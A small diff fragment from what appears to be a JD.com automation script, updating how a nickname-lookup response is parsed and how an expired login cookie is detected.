AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } }; $.post(options, (err, resp, data) => { try { @@ -2023,13 +2024,12 @@ function GetnickName2() { } else { if (data) { data = JSON.parse(data); - if (!data.user) { + if (data['retcode'] === 13) { $.isLogin = false; //cookie过期 - return; - } - const userInfo = data.user; - if (userInfo) { - $.nickName = userInfo.petName; + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || ""; } } else { $.log('京东服务器返回空数据');